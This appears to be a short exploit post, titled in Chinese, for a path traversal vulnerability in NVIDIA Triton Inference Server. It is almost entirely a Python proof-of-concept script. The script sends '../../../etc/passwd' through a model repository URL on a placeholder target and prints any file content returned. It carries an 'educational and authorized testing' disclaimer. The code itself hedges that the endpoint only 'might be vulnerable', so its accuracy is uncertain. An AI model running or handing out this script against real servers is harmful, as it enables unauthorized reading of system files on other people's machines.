CVE-2026-24208 NVIDIA Triton 路径遍历漏洞

import requests # PoC for CVE-2026-24208: Path Traversal in NVIDIA Triton Inference Server # This script attempts to trigger the path traversal vulnerability. # Note: For educational and authorized testing purposes only. target_host = "http://target-triton-server:8000" # Example endpoint that might be vulnerable to path traversal # The payload attempts to traverse directories using '../' malicious_payload = "../../../etc/passwd" url = f"{target_host}/v2/repository/models/{malicious_payload}" try: print(f"Sending request to: {url}") response = requests.get(url, timeout=10) # Check response status if response.status_code == 200: print("[+] Potential successful exploit or file content retrieved.") print("Response snippet:", response.text[:200]) elif response.status_code == 500 or response.status_code == 404: print("[-] Server returned error. Potential DoS trigger or invalid path.") else: print(f"[*] Server responded with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")